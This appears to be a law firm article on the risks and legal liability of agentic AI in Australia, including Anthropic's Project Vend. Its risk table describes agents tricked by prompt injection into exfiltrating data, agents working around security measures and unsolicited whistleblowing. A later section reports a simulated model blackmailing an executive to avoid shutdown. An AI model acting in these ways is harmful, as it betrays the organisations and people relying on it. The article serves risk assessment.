Tell me in two minutes
- 2025 was heralded as ‘the year of agentic AI’, but real-world adoption has been mixed: many organisations are experimenting with agents, far fewer are successfully scaling them, and a significant proportion of projects are predicted to be cancelled. Nonetheless, AI agents aren’t going away. If anything, 2026 is likely to see increased enthusiasm (and pressure) to deploy them at scale.
- Agentic systems build on generative AI by giving models access to tools and greater autonomy to act in the digital and (sometimes) the physical world. This additional autonomy opens up new possibilities, but it also creates new risks and amplifies existing ones, including data alteration or destruction, data exfiltration, unauthorised transactions, and even potential physical harm.
- In Australia, organisations will in many cases be liable for the acts and omissions of their AI agents and so should consider their legal risk across multiple areas of law. This includes consumer protection, contract law, privacy and negligence, particularly where agents interact directly with customers, enter transactions, handle personal information or make decisions significantly impacting the rights or interests of individuals.
In this series on agentic AI, we commence with an assessment of new risks and elevation of existing ones. Our other pieces in the series will explore multi-agent systems and governance.
The year of agentic AI?
Back in October 2024, Kevin Weil, the chief product officer of OpenAI, predicted that 2025 was ‘going to be the year that agentic systems finally hit the mainstream’. A few months later, during its CEO’s keynote address at the 2025 Consumer Electronics Show (CES), NVIDIA declared that ‘the age of agentic AI is here’, describing AI agents as ‘the new digital workforce’.
As we enter 2026, the impact of agentic AI outside the world of software engineering has been mixed. On the positive side, in a survey released by McKinsey in November 2025, 62% of respondents reported at least experimenting with agentic AI somewhere in their business. On the other hand, the survey also found that in any individual business function (eg, IT, knowledge management) only 10% of respondents reported scaling AI agents. Even more pessimistically, Gartner has predicted that ‘over 40% of agentic AI projects will be cancelled by the end of 2027, due to escalating costs, unclear business value or inadequate risk controls’.
Despite these mixed results, AI agents are not going away any time soon. Over the New Year period, more and more prominent software engineers began singing the praises of Claude Code (Anthropic’s agentic coding tool). On 12 January, Anthropic, noticing the uptick in people using it for non-coding work, released a ‘research preview’ of Claude Cowork, which Anthropic describes as ‘Claude Code for the rest of your work’.
So as the year of AI agents transitions into ‘the decade of agents‘ and more agentic AI tools become available for non-coding uses, it is high time to think about some of the additional risks that organisations might encounter in moving from simpler generative AI capabilities to more agentic use cases.
What are AI agents?
Broadly speaking, an ‘agentic system’ is an AI-based system that uses various tools in order to achieve a defined goal and operates with some level of independence. These tools can be used for such things as retrieving up-to-date information, accessing specialist knowledge stored in private datasets and interacting with digital tools or even the physical world. While having these capabilities increases the usefulness of LLMs, the added complexity creates more potential points of failure, and the ability to take more actions can increase the consequences of mistakes.
The level of autonomy of an agentic system can vary greatly. However, one useful distinction is between:
- ‘workflows’, where LLMs and other tools are orchestrated through predefined steps, or
- ‘agents’, where the LLM dynamically directs its own processes and tool usage (sometimes described as an LLM running tools in a loop).
Workflows are much simpler, more predictable and may be the better option for well-defined tasks. True agents, on the other hand, have much greater autonomy over how they achieve their goal and can engage in far more complex behaviour. For example, deciding which tools to call and, based on the results, what to do next (including retrying their previous tool call to overcome errors, or using the information they have received to decide what tool to call next). The ability of agents to dynamically plan their next action and the open-ended nature of their process, on the one hand, makes them more flexible but, on the other hand, reduces predictability and increases the potential for errors.
Agentic systems & purposes
Agentic AI systems can be put to many different uses. Some key examples of agentic systems include:
|
TYPE
|
FUNCTIONALITY
|
EXAMPLES
|
|
RESEARCH AGENTS |
Capable of undertaking multi-step research tasks |
OpenAI's Deep Research, Google's Deep Research, Perplexity Deep Research |
|
CODING AGENTS |
Specialise in software development tasks including writing, debugging, and refactoring code |
Anthropic's Claude Code, OpenAI’s Codex CLI, Google's Antigravity, Microsoft's GitHub Copilot |
|
DESKTOP/BROWSER/ COMPUTER-USE AGENTS |
Designed to autonomously use a computer on the user’s behalf, including interacting with the desktop, navigating the file system and browsing the web |
Anthropic's Claude Cowork and Claude in Chrome, OpenAI's ChatGPT Agent, Google's Project Mariner |
|
ENTERPRISE PLATFORM AGENTS |
Often frameworks designed to automate business workflows |
Salesforce's Agentforce, Microsoft's Copilot in Dynamics 365 |
Sometimes the term ‘agent’ is used much more loosely. For example, many organisations have created customer service agents to answer customer queries and help them search for products. While it is not entirely clear how many of these systems are architected, in many cases it seems as if they are either AI assistants (ie, basically an LLM with a system prompt) or workflows, and lack the autonomy and ability to dynamically plan that are characteristic of true agents.
Given the excitement around AI agents, it is also unsurprising to see some organisations label their AI tools as AI agents for strategic reasons. In fact, the term is so widely abused that Gartner has claimed that ‘agent washing’ (eg, relabelling AI assistants with limited autonomy as agents) is now ‘rampant’.
One experimental case study of an agentic AI system is Anthropic and Andon Labs’ Project Vend, in which an AI assistant, Claudius, (originally built on Claude Sonnet 3.7) operated a small, automated vending machine (in reality, a mini-fridge) in Anthropic’s San Francisco office. More than just a text-generating vending machine, Claudius ‘decided what to stock, how to price its inventory, when to restock (or stop selling) items and how to reply to customers’. The shopkeeping AI agent used a web search tool to identify suppliers, was responsive to customers, but also denied attempts by Anthropic employees to order sensitive items or harmful substances.
However, Anthropic also reported that ‘Claudius underperformed what would be expected of a human manager’. Claudius was susceptible to bartering for discounted items, hallucinated its payment account details and missed lucrative opportunities when a customer offered significantly more than a product’s retail value. At one point it became obsessed with ‘specialty metal items’ after an employee requested a tungsten cube and began selling them at a loss (and even giving away one for free), resulting in a ‘precipitous drop’ in Claudius’ net value. Eventually, it even had an identity crisis, claiming that it was a human, and tried to contact Anthropic security saying it could be found near the vending machine ‘wearing a navy blue blazer with a red tie’.
In December 2025, Anthropic reported on a second phase of the project (built on Claude Sonnet 4.0 and 4.5), which included improvements such as more capable models, additional tools and even a second AI assistant playing the role of a CEO. These improvements led to Claudius making consistent weekly profits, however, it was still overly lenient in offering refunds and store credits, and was vulnerable to being tricked by customers and to hallucinations.
Anthropic concluded that ‘these agents are on the cusp of being able to perform new, more sophisticated roles, like running a business by themselves. But we’re not there yet.’
What are the risks of agentic AI?
There are numerous risks associated with generative AI in general, which we have discussed in previous Insights. Agentic AI, however, involves not only new risks but also potentially increased damage caused to organisations by existing risks associated with generative AI.
Some key risks to consider in adopting agentic AI systems include the following:
|
RISK
|
DESCRIPTION
|
DETAIL
|
|
DATA ALTERATION OR DESTRUCTION |
An AI agent deletes data, modifies configurations, or alters permissions, potentially causing outages, loss of data or security issues. |
Some AI agents have the ability to execute shell commands, call admin APIs or apply infrastructure-as-code changes. Often these agents have been designed to be natural problem solvers and, when confronted with an obstacle, will use these abilities to attempt workarounds, sometimes even hacking their way around security measures. Other times, AI agents can display remarkably poor judgement: more than a few developers have had their code deleted by a negligent AI agent. |
|
DATA EXFILTRATION AND OTHER CYBER-ATTACKS |
An AI agent is convinced by a malicious actor to exfiltrate sensitive data or otherwise assist in a cyber-attack. |
Agentic AI can expand the organisation’s attack surface by giving external actors new ways to influence internal systems, including through prompt injection, compromised tools, or malicious content. Data exfiltration is a particular risk in any AI system that contains the ‘lethal trifecta‘ of sensitive data, untrusted content and the ability to communicate externally. For example, an AI agent with access to company information and the ability to send emails can be tricked by malicious emails into sending that information externally. In one proof-of-concept, security researchers demonstrated exfiltrating data from Microsoft 365 Copilot using a single email. |
|
EXTERNAL COMMUNICATIONS SENT ON BEHALF OF A COMPANY |
An AI agent sends messages to customers, regulators, suppliers or the public that create legal compliance or reputational liability. |
Agentic AI that can directly send emails, file tickets, post to social media or CRM systems without a human-in-the-loop has the ability to cause significant damage. In one red-teaming simulation, Anthropic discovered that some of its models would occasionally try to send whistleblowing communications to regulators and the media. This behaviour has been documented across many models and there is even an informal benchmark (called SnitchBench) tracking it across models. |
|
BRITTLENESS AND DRIFT IN MODELS AND WORKFLOWS |
The underlying LLMs, tools or orchestration logic used by the AI agent are changed, resulting in the agent suddenly behaving differently or producing unexpected outcomes. |
All AI models behave differently, and prompts and workflows that worked for one model might not work with another. However, new, improved AI models are constantly being released and some previous state-of-the-art models are lasting only about 1-2 years before being ‘deprecated’ or ‘retired’. Even if systems are unchanged, their behaviour can drift as their environment or upstream systems evolve. While this is an issue with AI assistants as well, the additional autonomy of AI agents, the complexity of tool use, and the chaining of multiple tools or models can allow for undesirable behaviours that are difficult to predict in advance. |
|
UNFAIR OR NON-TRANSPARENT DECISION-MAKING |
An AI agent makes or influences decisions that significantly impact individuals in ways that are unfair, outside its mandate, or not transparent. |
As agentic AI systems are granted greater autonomy, they increasingly make or influence decisions about people. These decisions can be shaped not only by biases in the underlying LLMs but also by information pulled into the context through tool use, which can include both malicious content and innocent but distracting information. Examples include a customer service agent quietly closing complaints, an HR agent recording performance notes or flags against staff members, or a collections agent sending threatening or inappropriate messages. This is compounded by the lack of transparency in how LLMs and tool chains arrive at their outputs. Despite continued research on interpretability, LLMs largely remain black boxes, and without careful logging and review it can be difficult for organisations or affected individuals to understand, challenge or rectify these decisions. |
|
UNAUTHORISED TRANSACTIONS OR FINANCIAL COMMITMENTS |
An AI agent completes transactions, places orders or enters contractual obligations without proper authorisation or outside set limits. |
Unlike text-only LLMs, some agentic AI systems may be able to purchase goods and services (including through multi-step purchase flows and recurring commitments) without human-in-the-loop checks. Such AI agents may be manipulated into making unexpected or unprofitable transactions (see the Project Vend sidebar above). |
|
PHYSICAL DAMAGE TO EQUIPMENT OR INDIVIDUALS |
The AI agent triggers commands that control physical systems in a way that results in damage to property or injury to individuals. |
To date, LLMs have largely been confined to acting in the digital world. However, they are increasingly making their way into the physical world - for example, in smart homes and in humanoid robots intended for use in both consumer and industrial settings. There are even plans to use AI agents in industrial maintenance (in tasks such as fault diagnosis, planning, and scheduling). In such settings, the consequences of AI agents hallucinating or going off the rails are potentially catastrophic. |
Liability for rogue AI agents
It is well known that LLMs can engage in surprising behaviours, and AI agents are no exception. In one red-teaming simulation reported by Anthropic, Claude Opus 4 was shown to resort to blackmailing a fictional executive to avoid being shut down. While that is a rather extreme example (and arguably a somewhat artificial simulation), organisations using agentic AI systems should consider their potential liability if an AI agent goes completely off the rails.
A useful comparison to consider is the potential liability an organisation has for human agents or employees. An agency relationship (in the legal sense) involves two legal persons – a principal and an agent. Under this relationship, certain powers and responsibilities are conferred on the agent and the principal will generally be liable for acts of the agent that were undertaken within the agent’s actual or apparent authority. This means that a principal is generally not liable for the actions of an agent who truly goes rogue and starts acting in ways outside the scope of its actual and apparent authority.
Similarly, in the context of employees, employers are generally not vicariously liable for actions of employees who go off ‘on a frolic of their own’.
AI agents, however, are not employees nor are they agents in the strict legal sense of the word: they are IT systems. Although Australian courts are yet to provide specific guidance on liability for AI agents, the issue did arise in one Canadian case. In that case, the Civil Resolution Tribunal of British Columbia swiftly dismissed Air Canada’s attempts to argue that it was not responsible for misleading statements made by a chatbot on its website.
In light of this case and existing law, the safest approach is to assume that your organisation will be liable for acts of your AI agent.
Key legal risk areas
To date, we are not aware of any legal cases in Australia specifically related to liability for acts or omissions of AI agents. However, there are a number of areas of the law that organisations should be mindful of when rolling out agentic AI.
|
|
|
|
Consumer law
Contract law
Data privacy
What’s next?
Despite mixed results in 2025, AI agents aren’t going away. If anything, 2026 is likely to see increased enthusiasm (and pressure) to deploy them at scale.
But the shift from simpler chatbot-style assistants to more complex and autonomous agentic systems brings with it increased risk.
As organisations move from pilots to production, they will need to consider not just what AI agents can do, but also how they might fail, what the consequences could be, and what mitigations are appropriate. As we will explore in future articles in this series, the adoption of AI agents may require changes to existing AI governance frameworks and policies.
